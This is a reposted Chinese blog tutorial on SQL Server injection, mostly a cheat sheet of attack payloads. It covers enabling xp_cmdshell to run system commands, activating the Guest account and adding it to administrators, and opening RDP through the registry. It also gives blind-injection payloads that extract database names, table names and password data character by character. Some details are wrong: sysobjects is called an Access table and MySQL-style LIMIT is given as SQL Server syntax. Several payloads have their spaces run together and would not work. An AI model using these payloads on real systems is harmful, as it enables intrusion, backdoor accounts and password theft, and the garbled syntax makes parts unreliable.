SQL Server 注入

SQL Server 注入

(转至:https://www.1024sou.com/article/798425.html)
侵删

一、简介

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为1433。数据库后缀名 .mdf,注释符是 –

sa权限:数据库操作,文件管理,命令执行,注册表读取等 (数据库最高权限system)

db权限:文件管理,数据库操作等权限 users-administrators

**public权限:**数据库操作 guest-users

img

sqlserver有6个默认数据库,分别为4个系统数据库:master、model、msdb、tempdb和数据库快照ReportServer、ReportServerTempDB。其中,model和tempdb是默认没有数据表的

img

img

但是如果用navicat远程连接的话,只会显示2个数据库:ReportServer、ReportServerTempDB

img

二、SQLServer数据库的查询语句

select @@version ;查询数据库版本。

select host_name();查询主机名,若果是navicat远程连接,主机名是本地的名字。

select db_name(); 查询当前数据库

select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner

use tempdb # 切换到tempdb

top n #查询前n条记录

limit 2,3 #查询第2条开始的3条数据,也就是2,3,4

select substring(‘string’,2,1) #截取给定字符串的索引为2的1个字符

select ascii(‘a’) #查询给定字符串的ascii值

select len(‘string’) #查询给定字符串的长度

#数据库的连接

server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDBmssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB

#查询数据库

select count(name) from sysdatabases #查询数据库的个数

select name from sysdatabases #查询数据库的名字

select * from sysdatabases #查询所有数据库的信息

#查询数据表

select * from sysobjects where xtype= ‘u’#查询当前数据库的所有表的详细信息

select count(name) from msdb…sysobjects where xtype=‘U’#查询指定msdb数据库中表的个数

select name from msdb…sysobjects where xtype=‘U’ #查询指定msdb数据库中表的名字

select * from msdb…sysobjects where xtype=‘U’ #查询指定msdb数据库中表的详细信息

#查询列

select name from syscolumns where id =(select max (id) from sysobjects where xtype = ‘u’ and name=‘users’) #查询当前数据库的指定users表的所有列

select count(name) from test…syscolumns where id=(select max(id) from test…sysobjects where xtype= ‘u’ and name = ‘users’ ) #查询指定test数据库的指定users表的列的个数

select name from test…syscolumns where id = ( select max(id) from test…sysobjects where xtype = ‘u’ and name= ‘users’ ) #查询指定test数据库的指定users表的所有列

select * from test…syscolumns where id = (select max(id) from test…sysobjects where xtype= ‘u’ and name=‘users’ ) #查询指定test数据库的指定users表的列的详细信息

#查询数据

select count (*) from test…user #查询test数据库user表的数据的条数 select * from test…user #查询test数据库user表的所有数据

SA权限开启xp_cmdshell获取主机权限

# SA权限开启xp_cmdshell获取主机权限

如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启

select count (*) FROM sysobjects Where xtype =‘X’ AND name = ‘xp_cmdshell’ #判断xp_cmdshell是否打开,1就是打开了,0就是关闭了

execute (‘sp_configure “show advanced options”,1’)#将该选项的值设置为1

execute (‘reconfigure’) #保存设置

execute (‘sp_configure “xp_cmdshell”, 1’) #将xp_cmdshell的值设置为1

execute (‘reconfigure’) #保存设置

execute (‘sp_configure’) #查看配置

execute (‘xp_cmdshell “whoami”’) #执行系统命令

或者

exec sp_configure ‘show advanced options’,1; #将该选项的值设置为1

reconfigure; #保存设置

exec sp_configure ‘xp_cmdshell’,1; #将xp_cmdshell的值设置为1

reconfigure; #保存设置

exec sp_configure #查看配置

exec xp_cmdshell ‘whoami’ #执行系统命令

img

提权 开启3389

exec xp_cmdshell ‘net user Guest 123456’ #给guest用户设置密码

exec xp_cmdshell ‘net user Guest /active:yes’ #激活guest用户

exec xp_cmdshell ‘net localgroup administrators Guest /add’ #将guest用户添加到administrators用户组

exec xp_cmdshell ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’ #开启3389端口

img

盲注SQLServer数据库

Access数据库特有的表是:sysobjects ,所以可以用它来判断是否是Access数据库

1.判断sysyobjects

exists (select * from sysobjects )

2.判断xp_cmdshell是否存在

and 1 = ( Select count(*) FROM sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’ )

3.判断当前数据库用户权限

and 1= (IS_SRVROLEMEMBER (‘sysadmin’)) //返回正常为sa

and 1= (IS_MEMBER(‘db_owner’)) //返回正常为DB_OWNER

and 1= (IS_srvrolemember(‘public’)) //public权限,较低

4.判断数据库的个数

and (select count(name) from sysdatabases) >N

判断dbid,一般数据库有多少个,dbid的值就为多少

and (select count (*) from sysdatabases where dbid = N) = 1

4.1判断当前数据库名

判断数据库的长度,由以下得知数据库的长度是8

and len(db_name())>5 //正常显示

and len(db_name())>10 //不正常显示

and len(db_name())>7 //正常显示

and len(db_name())>8 //不正常显示

判断数据库字符的ascii值

and ascii (substring(db_name(),1,1))>95 //正常显示、

and ascii(substring(db_name(),1,1))>100 //不正常显示

and ascii(substring(db_name(),1,1))>96 //正常显示

and ascii(substring(db_name(),1,1))>97 //不正常显示

所以数据库的第一个字符的ascii值为97,即为a。

以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>97数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97直到爆出数据库最后一位字符,得到数据库名字。

根据dbid得到所有数据库名

判断数据库的长度,由以下得知dbid为1数据库的长度是8

and len(db_name(1))>5//正常显示

and len(db_name(1))>10//不正常显示

and len(db_name(1))>7//正常显示

and len(db_name(1))>8//不正常显示

判断dbid为2数据库字符的ascii值

and ascii(substring(db_name(2),1,1))>95 //正常显示

and ascii(substring(db_name(2),1,1))>100 //不正常显示

and ascii(substring(db_name(2),1,1))>96 //正常显示

and ascii(substring(db_name(2),1,1))>97 //不正常显示

所以dbid为1数据库的第一个字符的ascii值为97,即为a。以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>97数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97直到爆出数据库最后一位字符,得到数据库名字。

5.爆破数据库的表

5.1爆破test数据库中表的个数

and (select count(name) from test…sysobjects where xtype = ‘U’ ) >N

5.2爆破test数据库中表的长度和名称

#爆破test数据库中第一个表的长度:

and len ((select top 1 name from test…sysobjects where xtype= ‘U’ and id not in (select top1 id from test…sysobjects where xtype=‘U’))) = N

爆破test数据库中第一个表的第一个字符的ascii值:

and ascii (substring (( select top 1 name from test…sysobjects where xtype = ‘U’ and id not in (select top 1 id from test…sysobjects where xtype = ‘U’ )),1,1)) > 115

爆破test数据库中第一个表的第二个字符的ascii值:and ascii(substring((select top1name from test…sysobjectswherextype='U’and id notin(select top1id from test…sysobjectswherextype=‘U’)),2,1))>115

爆破test数据库中第二个表的长度:

and len (( select top 1 name from test…sysobjects where xtype= ‘U’ and id not in (select top 2 id from msdb…sysobjects where xtype= ‘U’ )))=N

爆破test数据库中第二个表的第一个字符的ascii值

and ascii (substring (( select top 1 name from test…sysobjects where xtype= ‘U’ and id not in ( select top 2 id from test…sysobjects where xtype= ‘U’ )),1,1 )) >115

爆破test数据库中第二个表的第二个字符的ascii值:and ascii(substring((select top1name from test…sysobjectswherextype='U’and id notin(select top2id from test…sysobjectswherextype=‘U’)),2,1))>115

6.user表的列数

6.1爆破test数据库中user表的列数

and ( select count(name) from test…syscolumns where id = (select id from test…sysobjects where name= ‘user’ )) = N

6.2爆破test数据库中user表的列名

爆破test数据库中user表的第一列的长度:

and len ((select top 1 col_name(object_id(‘user’) , 1) from test…sysobjects )) > 10

爆破test数据库中user表的第一列的第一个字符的ascii值:

and ascii (substring (( select top 1 col_name (object_id (‘user’),1 ) from test…sysobjects ) ,1,1 )) > 97

爆破test数据库中user表的第一列的第二个字符的ascii值:

and ascii(substring((select top1col_name(object_id(‘user’),1)fromtest…sysobjects),2,1))>97

爆破test数据库中user表的第二列的长度:

and len (( select top 1 col_name ( object_id (‘user’) ,2 ) from test…sysobjects )) > 10

爆破test数据库中user表的第二列的第一个字符的ascii值:

and ascii (substring (( select top 1 col_name ( object_id ( ‘user’ ) , 2 ) from test…sysobjects ) ,1,1 )) > 97

爆破test数据库中user表的第二列的第二个字符的ascii值:

andascii(substring((select top1col_name(object_id(‘user’),2)fromtest…sysobjects),2,1))>97

7.爆破表中password列的数据

7.1爆出表中password列的数据条数

and (select count(*) from test…user ) = N

7.2爆破test数据库中user表中password列中的数据

爆破test数据库中user表中password列中第一行数据的长度

and (select top 1 len (password) from test…user where password not in (select top 1 id from test…user )) > N

爆破test数据库中user表中password列中第一行数据的第一个字符的ascii值

and ascii (substring ((select top 1 cast (password as varchar) from test.user where password not in (select top1 id from test.user )) ,1,1 )) > 10

爆破test数据库中user表中password列中第一行数据的第二个字符的ascii值

andascii(substring((select top1cast(passwordasvarchar)fromtest.user where passwordnotin(select top1idfromtest.user)),2,1))>10

爆破test数据库中user表中password列中第二行数据的长度

and ( select top 1 len (password) from test…user where password not in(select top 2 id from test…user )) > N

爆破test数据库中user表中password列中第二行数据的第一个字符的ascii值

and ascii (substring (( select top 1 cast (password as varchar) from test.user where password not in (select top 2 id from test.user)),1,1))>10

爆破test数据库中user表中password列中第二行数据的第二个字符的ascii值

andascii(substring((select top1cast(passwordasvarchar)fromtest.user where passwordnotin(select top2idfromtest.user)),2,1))>10

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值